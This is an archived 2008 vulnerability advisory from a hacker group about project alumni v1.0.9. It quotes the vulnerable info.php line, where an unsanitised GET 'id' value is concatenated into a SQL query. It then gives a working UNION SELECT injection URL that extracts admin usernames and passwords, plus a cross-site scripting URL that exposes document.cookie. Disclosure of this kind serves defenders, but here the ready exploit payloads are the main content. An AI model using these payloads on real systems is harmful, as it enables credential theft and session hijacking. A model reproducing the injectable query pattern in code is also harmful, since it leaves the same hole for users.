project alumni v1.0.9 (info.php) SQL Injection Vulnerability

2008-05-02T00:00:00
ID SECURITYVULNS:DOC:19766
Type securityvulns
Reporter Securityvulns
Modified 2008-05-02T00:00:00

Description


####################################################################################### # # # ...:::::project alumni v1.0.9 (info.php) SQL Injection Vulnerability ::::.... #
#######################################################################################

Virangar Security Team

www.virangar.net


Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004 & my lovely friend arash(imm02tal) from emperor team :)


vuln code in info.php: line 58: $result = dbQuery( "SELECT * FROM `".getConfigVal("sqlTablePrefix",2)."_users` WHERE `ID` = '".$_GET['id']."'" );


exploit: http://site.com/info.php?id='//union//select//1,2,3,concat(alumniUserName,0x3a,char(58),alumniPassword),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19//from//alumni_users//where/*/userType=0x61646d696e/


and xss in /pages/news.page.inc :) http://site.com/index.php?act=news&year=<script>alert(document.cookie)</script>


young iranian h4ck3rz